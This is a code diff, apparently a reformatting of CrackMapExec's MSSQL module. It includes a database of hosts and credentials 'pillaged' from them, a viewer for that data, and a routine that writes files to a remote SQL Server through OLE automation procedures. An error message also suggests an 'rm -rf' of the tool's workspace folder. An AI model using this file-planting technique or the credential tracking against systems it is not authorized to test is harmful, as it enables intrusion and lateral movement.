||||
NoSuchTableError,
|
||||
)
|
||||
from sqlalchemy.orm import sessionmaker, scoped_session
|
||||
from sqlalchemy.exc import SAWarning
|
||||
import warnings
|
||||
@@ -22,35 +26,37 @@ class database:
|
||||
self.db_engine = db_engine
|
||||
self.metadata = MetaData()
|
||||
self.reflect_tables()
|
||||
session_factory = sessionmaker(
|
||||
bind=self.db_engine,
|
||||
expire_on_commit=True
|
||||
)
|
||||
|
||||
session_factory = sessionmaker(bind=self.db_engine, expire_on_commit=True)
|
||||
|
||||
Session = scoped_session(session_factory)
|
||||
# this is still named "conn" when it is the session object; TODO: rename
|
||||
self.conn = Session()
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
db_conn.execute('''CREATE TABLE "hosts" (
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "hosts" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"ip" text,
|
||||
"hostname" text,
|
||||
"domain" text,
|
||||
"os" text,
|
||||
"instances" integer
|
||||
)''')
|
||||
)"""
|
||||
)
|
||||
# This table keeps track of which credential has admin access over which machine and vice-versa
|
||||
db_conn.execute('''CREATE TABLE "admin_relations" (
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "admin_relations" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"userid" integer,
|
||||
"hostid" integer,
|
||||
FOREIGN KEY(userid) REFERENCES users(id),
|
||||
FOREIGN KEY(hostid) REFERENCES hosts(id)
|
||||
)''')
|
||||
)"""
|
||||
)
|
||||
# type = hash, plaintext
|
||||
db_conn.execute('''CREATE TABLE "users" (
|
||||
db_conn.execute(
|
||||
"""CREATE TABLE "users" (
|
||||
"id" integer PRIMARY KEY,
|
||||
"credtype" text,
|
||||
"domain" text,
|
||||
@@ -58,7 +64,8 @@ class database:
|
||||
"password" text,
|
||||
"pillaged_from_hostid" integer,
|
||||
FOREIGN KEY(pillaged_from_hostid) REFERENCES hosts(id)
|
||||
)''')
|
||||
)"""
|
||||
)
|
||||
|
||||
def reflect_tables(self):
|
||||
with self.db_engine.connect() as conn:
|
||||
@@ -67,12 +74,7 @@ class database:
|
||||
self.UsersTable = Table("users", self.metadata, autoload_with=self.db_engine)
|
||||
self.AdminRelationsTable = Table("admin_relations", self.metadata, autoload_with=self.db_engine)
|
||||
except (NoInspectionAvailable, NoSuchTableError):
|
||||
print(
|
||||
"[-] Error reflecting tables - this means there is a DB schema mismatch \n"
|
||||
"[-] This is probably because a newer version of CME is being ran on an old DB schema\n"
|
||||
"[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n"
|
||||
"[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema"
|
||||
)
|
||||
print("[-] Error reflecting tables - this means there is a DB schema mismatch \n" "[-] This is probably because a newer version of CME is being ran on an old DB schema\n" "[-] If you wish to save the old DB data, copy it to a new location (`cp -r ~/.cme/workspaces/ ~/old_cme_workspaces/`)\n" "[-] Then remove the CME DB folders (`rm -rf ~/.cme/workspaces/`) and rerun CME to initialize the new DB schema")
|
||||
exit()
|
||||
|
||||
def shutdown_db(self):
|
||||
@@ -94,15 +96,11 @@ class database:
|
||||
TODO: return inserted or updated row ids as a list
|
||||
"""
|
||||
cme_logger.debug(f"{domain} {ip} {os} {instances}")
|
||||
if domain:
|
||||
domain = domain.split(".")[0].upper()
|
||||
else:
|
||||
if not domain:
|
||||
domain = ""
|
||||
hosts = []
|
||||
|
||||
q = select(self.HostsTable).filter(
|
||||
self.HostsTable.c.ip == ip
|
||||
)
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip)
|
||||
results = self.conn.execute(q).all()
|
||||
cme_logger.debug(f"mssql add_host() - hosts returned: {results}")
|
||||
|
||||
@@ -136,21 +134,14 @@ class database:
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.HostsTable)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in 'id'}
|
||||
q = q.on_conflict_do_update(
|
||||
index_elements=self.HostsTable.primary_key,
|
||||
set_=update_columns
|
||||
)
|
||||
self.conn.execute(
|
||||
q,
|
||||
hosts
|
||||
)
|
||||
update_columns = {col.name: col for col in q.excluded if col.name not in "id"}
|
||||
q = q.on_conflict_do_update(index_elements=self.HostsTable.primary_key, set_=update_columns)
|
||||
self.conn.execute(q, hosts)
|
||||
|
||||
def add_credential(self, credtype, domain, username, password, pillaged_from=None):
|
||||
"""
|
||||
Check if this credential has already been added to the database, if not add it in.
|
||||
"""
|
||||
domain = domain.split('.')[0].upper()
|
||||
user_rowid = None
|
||||
|
||||
credential_data = {}
|
||||
@@ -168,7 +159,7 @@ class database:
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype)
|
||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
|
||||
@@ -181,18 +172,16 @@ class database:
|
||||
"pillaged_from_hostid": pillaged_from,
|
||||
}
|
||||
q = insert(self.UsersTable).values(user_data) # .returning(self.UsersTable.c.id)
|
||||
self.conn.execute(q) # .first()
|
||||
self.conn.execute(q) # .first()
|
||||
else:
|
||||
for user in results:
|
||||
# might be able to just remove this if check, but leaving it in for now
|
||||
if not user[3] and not user[4] and not user[5]:
|
||||
q = update(self.UsersTable).values(credential_data) # .returning(self.UsersTable.c.id)
|
||||
results = self.conn.execute(q) # .first()
|
||||
results = self.conn.execute(q) # .first()
|
||||
# user_rowid = results.id
|
||||
|
||||
cme_logger.debug(
|
||||
f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})"
|
||||
)
|
||||
cme_logger.debug(f"add_credential(credtype={credtype}, domain={domain}, username={username}, password={password}, pillaged_from={pillaged_from})")
|
||||
return user_rowid
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
@@ -201,34 +190,27 @@ class database:
|
||||
"""
|
||||
del_hosts = []
|
||||
for cred_id in creds_id:
|
||||
q = delete(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == cred_id
|
||||
)
|
||||
q = delete(self.UsersTable).filter(self.UsersTable.c.id == cred_id)
|
||||
del_hosts.append(q)
|
||||
self.conn.execute(q)
|
||||
|
||||
def add_admin_user(self, credtype, domain, username, password, host, user_id=None):
|
||||
domain = domain.split('.')[0].upper()
|
||||
|
||||
if user_id:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == user_id
|
||||
)
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == user_id)
|
||||
users = self.conn.execute(q).all()
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == credtype,
|
||||
func.lower(self.UsersTable.c.domain) == func.lower(domain),
|
||||
func.lower(self.UsersTable.c.username) == func.lower(username),
|
||||
self.UsersTable.c.password == password
|
||||
self.UsersTable.c.password == password,
|
||||
)
|
||||
users = self.conn.execute(q).all()
|
||||
cme_logger.debug(f"Users: {users}")
|
||||
|
||||
like_term = func.lower(f"%{host}%")
|
||||
q = q.filter(
|
||||
self.HostsTable.c.ip.like(like_term)
|
||||
)
|
||||
q = q.filter(self.HostsTable.c.ip.like(like_term))
|
||||
hosts = self.conn.execute(q).all()
|
||||
cme_logger.debug(f"Hosts: {hosts}")
|
||||
|
||||
@@ -236,31 +218,22 @@ class database:
|
||||
for user, host in zip(users, hosts):
|
||||
user_id = user[0]
|
||||
host_id = host[0]
|
||||
link = {
|
||||
"userid": user_id,
|
||||
"hostid": host_id
|
||||
}
|
||||
link = {"userid": user_id, "hostid": host_id}
|
||||
|
||||
q = select(self.AdminRelationsTable).filter(
|
||||
self.AdminRelationsTable.c.userid == user_id,
|
||||
self.AdminRelationsTable.c.hostid == host_id
|
||||
self.AdminRelationsTable.c.hostid == host_id,
|
||||
)
|
||||
links = self.conn.execute(q).all()
|
||||
|
||||
if not links:
|
||||
self.conn.execute(
|
||||
insert(self.AdminRelationsTable).values(link)
|
||||
)
|
||||
self.conn.execute(insert(self.AdminRelationsTable).values(link))
|
||||
|
||||
def get_admin_relations(self, user_id=None, host_id=None):
|
||||
if user_id:
|
||||
q = select(self.AdminRelationsTable).filter(
|
||||
self.AdminRelationsTable.c.userid == user_id
|
||||
)
|
||||
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.userid == user_id)
|
||||
elif host_id:
|
||||
q = select(self.AdminRelationsTable).filter(
|
||||
self.AdminRelationsTable.c.hostid == host_id
|
||||
)
|
||||
q = select(self.AdminRelationsTable).filter(self.AdminRelationsTable.c.hostid == host_id)
|
||||
else:
|
||||
q = select(self.AdminRelationsTable)
|
||||
|
||||
@@ -271,14 +244,10 @@ class database:
|
||||
q = delete(self.AdminRelationsTable)
|
||||
if user_ids:
|
||||
for user_id in user_ids:
|
||||
q = q.filter(
|
||||
self.AdminRelationsTable.c.userid == user_id
|
||||
)
|
||||
q = q.filter(self.AdminRelationsTable.c.userid == user_id)
|
||||
elif host_ids:
|
||||
for host_id in host_ids:
|
||||
q = q.filter(
|
||||
self.AdminRelationsTable.c.hostid == host_id
|
||||
)
|
||||
q = q.filter(self.AdminRelationsTable.c.hostid == host_id)
|
||||
self.conn.execute(q)
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
@@ -287,7 +256,7 @@ class database:
|
||||
"""
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.conn.execute(q).all()
|
||||
return len(results) > 0
|
||||
@@ -298,19 +267,13 @@ class database:
|
||||
"""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == filter_term
|
||||
)
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
|
||||
elif cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type
|
||||
)
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != '':
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.UsersTable).filter(
|
||||
func.lower(self.UsersTable.c.username).like(like_term)
|
||||
)
|
||||
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
@@ -322,9 +285,7 @@ class database:
|
||||
"""
|
||||
Check if this host ID is valid.
|
||||
"""
|
||||
q = select(self.HostsTable).filter(
|
||||
self.HostsTable.c.id == host_id
|
||||
)
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.conn.execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
@@ -336,29 +297,19 @@ class database:
|
||||
|
||||
# if we're returning a single host by ID
|
||||
if self.is_host_valid(filter_term):
|
||||
q = q.filter(
|
||||
self.HostsTable.c.id == filter_term
|
||||
)
|
||||
q = q.filter(self.HostsTable.c.id == filter_term)
|
||||
results = self.conn.execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
# if we're filtering by domain controllers
|
||||
elif filter_term == 'dc':
|
||||
q = q.filter(
|
||||
self.HostsTable.c.dc == True
|
||||
)
|
||||
elif filter_term == "dc":
|
||||
q = q.filter(self.HostsTable.c.dc == True)
|
||||
if domain:
|
||||
q = q.filter(
|
||||
func.lower(self.HostsTable.c.domain) == func.lower(domain)
|
||||
)
|
||||
q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain))
|
||||
# if we're filtering by ip/hostname
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.HostsTable).filter(
|
||||
self.HostsTable.c.ip.like(like_term) |
|
||||
func.lower(self.HostsTable.c.hostname).like(like_term)
|
||||
)
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.ip.like(like_term) | func.lower(self.HostsTable.c.hostname).like(like_term))
|
||||
|
||||
results = self.conn.execute(q).all()
|
||||
return results
|
||||
|
||||
|
||||
@@ -7,34 +7,38 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help
|
||||
|
||||
class navigator(DatabaseNavigator):
|
||||
def display_creds(self, creds):
|
||||
data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']]
|
||||
data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]]
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
credtype = cred[1]
|
||||
domain = cred[2]
|
||||
username = cred[3]
|
||||
password = cred[4]
|
||||
# pillaged_from = cred[5]
|
||||
|
||||
links = self.db.get_admin_relations(user_id=cred_id)
|
||||
data.append([cred_id, str(len(links)) + ' Host(s)', credtype, domain, username, password])
|
||||
print_table(data, title='Credentials')
|
||||
links = self.db.get_admin_relations(user_id=cred[0])
|
||||
data.append(
|
||||
[
|
||||
cred[0], # cred_id
|
||||
str(len(links)) + " Host(s)",
|
||||
cred[1], # cred_type
|
||||
cred[2], # domain
|
||||
cred[3], # username
|
||||
cred[4], # password
|
||||
]
|
||||
)
|
||||
print_table(data, title="Credentials")
|
||||
|
||||
def display_hosts(self, hosts):
|
||||
data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']]
|
||||
data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]]
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
os = host[4]
|
||||
instances = host[5]
|
||||
|
||||
links = self.db.get_admin_relations(host_id=host_id)
|
||||
|
||||
data.append([host_id, str(len(links)) + ' Cred(s)', ip, hostname, domain, os, instances])
|
||||
print_table(data, title='Hosts')
|
||||
links = self.db.get_admin_relations(host_id=host[0])
|
||||
data.append(
|
||||
[
|
||||
host[0],
|
||||
str(len(links)) + " Cred(s)",
|
||||
host[1],
|
||||
host[2],
|
||||
host[3],
|
||||
host[4],
|
||||
host[5],
|
||||
]
|
||||
)
|
||||
print_table(data, title="Hosts")
|
||||
|
||||
def do_hosts(self, line):
|
||||
filter_term = line.strip()
|
||||
@@ -48,23 +52,16 @@ class navigator(DatabaseNavigator):
|
||||
if len(hosts) > 1:
|
||||
self.display_hosts(hosts)
|
||||
elif len(hosts) == 1:
|
||||
data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
|
||||
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
|
||||
host_id_list = []
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
host_id_list.append(host_id)
|
||||
host_id_list.append(host[0])
|
||||
data.append([host[0], host[1], host[2], host[3], host[4]])
|
||||
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
os = host[4]
|
||||
print_table(data, title="Host(s)")
|
||||
|
||||
data.append([host_id, ip, hostname, domain, os])
|
||||
|
||||
print_table(data, title='Host(s)')
|
||||
|
||||
data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
|
||||
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
|
||||
for host_id in host_id_list:
|
||||
links = self.db.get_admin_relations(host_id=host_id)
|
||||
|
||||
@@ -73,15 +70,8 @@ class navigator(DatabaseNavigator):
|
||||
creds = self.db.get_credentials(filter_term=cred_id)
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
domain = cred[1]
|
||||
username = cred[2]
|
||||
password = cred[3]
|
||||
credtype = cred[4]
|
||||
# pillaged_from = cred[5]
|
||||
|
||||
data.append([cred_id, credtype, domain, username, password])
|
||||
print_table(data, title='Credential(s) with Admin Access')
|
||||
data.append([cred[0], cred[4], cred[1], cred[2], cred[3]])
|
||||
print_table(data, title="Credential(s) with Admin Access")
|
||||
|
||||
def do_creds(self, line):
|
||||
filter_term = line.strip()
|
||||
@@ -118,23 +108,16 @@ class navigator(DatabaseNavigator):
|
||||
self.display_creds(creds)
|
||||
else:
|
||||
creds = self.db.get_credentials(filter_term=filter_term)
|
||||
data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']]
|
||||
data = [["CredID", "CredType", "Domain", "UserName", "Password"]]
|
||||
cred_id_list = []
|
||||
|
||||
for cred in creds:
|
||||
cred_id = cred[0]
|
||||
cred_id_list.append(cred_id)
|
||||
cred_id_list.append(cred[0])
|
||||
data.append([cred[0], cred[1], cred[2], cred[3], cred[4]])
|
||||
|
||||
credType = cred[1]
|
||||
domain = cred[2]
|
||||
username = cred[3]
|
||||
password = cred[4]
|
||||
print_table(data, title="Credential(s)")
|
||||
|
||||
data.append([cred_id, credType, domain, username, password])
|
||||
|
||||
print_table(data, title='Credential(s)')
|
||||
|
||||
data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']]
|
||||
data = [["HostID", "IP", "Hostname", "Domain", "OS"]]
|
||||
for cred_id in cred_id_list:
|
||||
links = self.db.get_admin_relations(user_id=cred_id)
|
||||
|
||||
@@ -143,20 +126,15 @@ class navigator(DatabaseNavigator):
|
||||
hosts = self.db.get_hosts(host_id)
|
||||
|
||||
for host in hosts:
|
||||
host_id = host[0]
|
||||
ip = host[1]
|
||||
hostname = host[2]
|
||||
domain = host[3]
|
||||
os = host[4]
|
||||
|
||||
data.append([host_id, ip, hostname, domain, os])
|
||||
print_table(data, title='Admin Access to Host(s)')
|
||||
data.append([host[0], host[1], host[2], host[3], host[4]])
|
||||
print_table(data, title="Admin Access to Host(s)")
|
||||
|
||||
def do_clear_database(self, line):
|
||||
if input("This will destroy all data in the current database, are you SURE you want to run this? (y/n): ") == "y":
|
||||
self.db.clear_database()
|
||||
|
||||
def help_clear_database(self):
|
||||
@staticmethod
|
||||
def help_clear_database():
|
||||
help_string = """
|
||||
clear_database
|
||||
THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE
|
||||
@@ -168,9 +146,8 @@ class navigator(DatabaseNavigator):
|
||||
"""
|
||||
Tab-complete 'creds' commands
|
||||
"""
|
||||
commands = ["add", "remove"]
|
||||
|
||||
mline = line.partition(' ')[2]
|
||||
commands = ("add", "remove")
|
||||
mline = line.partition(" ")[2]
|
||||
offs = len(mline) - len(text)
|
||||
return [s[offs:] for s in commands if s.startswith(mline)]
|
||||
|
||||
@@ -178,8 +155,7 @@ class navigator(DatabaseNavigator):
|
||||
"""
|
||||
Tab-complete 'creds' commands
|
||||
"""
|
||||
commands = ["add", "remove", "hash", "plaintext"]
|
||||
|
||||
mline = line.partition(' ')[2]
|
||||
commands = ("add", "remove", "hash", "plaintext")
|
||||
mline = line.partition(" ")[2]
|
||||
offs = len(mline) - len(text)
|
||||
return [s[offs:] for s in commands if s.startswith(mline)]
|
||||
|
||||
@@ -59,23 +59,14 @@ class MSSQLEXEC:
|
||||
try:
|
||||
self.enable_ole()
|
||||
hexdata = data.hex()
|
||||
self.mssql_conn.sql_query("DECLARE @ob INT;"
|
||||
"EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;"
|
||||
"EXEC sp_OASetProperty @ob, 'Type', 1;"
|
||||
"EXEC sp_OAMethod @ob, 'Open';"
|
||||
"EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};"
|
||||
"EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;"
|
||||
"EXEC sp_OAMethod @ob, 'Close';"
|
||||
"EXEC sp_OADestroy @ob;".format(hexdata, remote))
|
||||
self.mssql_conn.sql_query("DECLARE @ob INT;" "EXEC sp_OACreate 'ADODB.Stream', @ob OUTPUT;" "EXEC sp_OASetProperty @ob, 'Type', 1;" "EXEC sp_OAMethod @ob, 'Open';" "EXEC sp_OAMethod @ob, 'Write', NULL, 0x{};" "EXEC sp_OAMethod @ob, 'SaveToFile', NULL, '{}', 2;" "EXEC sp_OAMethod @ob, 'Close';" "EXEC sp_OADestroy @ob;".format(hexdata, remote))
|
||||
self.disable_ole()
|
||||
except Exception as e:
|
||||
cme_logger.debug(f"Error uploading via mssqlexec: {e}")
|
||||
|
||||
def file_exists(self, remote):
|
||||
try:
|
||||
res = self.mssql_conn.batch(
|
||||
f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n"
|
||||
)[0]['n']
|
||||
res = self.mssql_conn.batch(f"DECLARE @r INT; EXEC master.dbo.xp_fileexist '{remote}', @r OUTPUT; SELECT @r as n")[0]["n"]
|
||||
return res == 1
|
||||
except:
|
||||
return False
|
||||
@@ -89,4 +80,4 @@ class MSSQLEXEC:
|
||||
f.write(binascii.unhexlify(data))
|
||||
|
||||
except Exception as e:
|
||||
cme_logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
cme_logger.debug(f"Error downloading via mssqlexec: {e}")
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user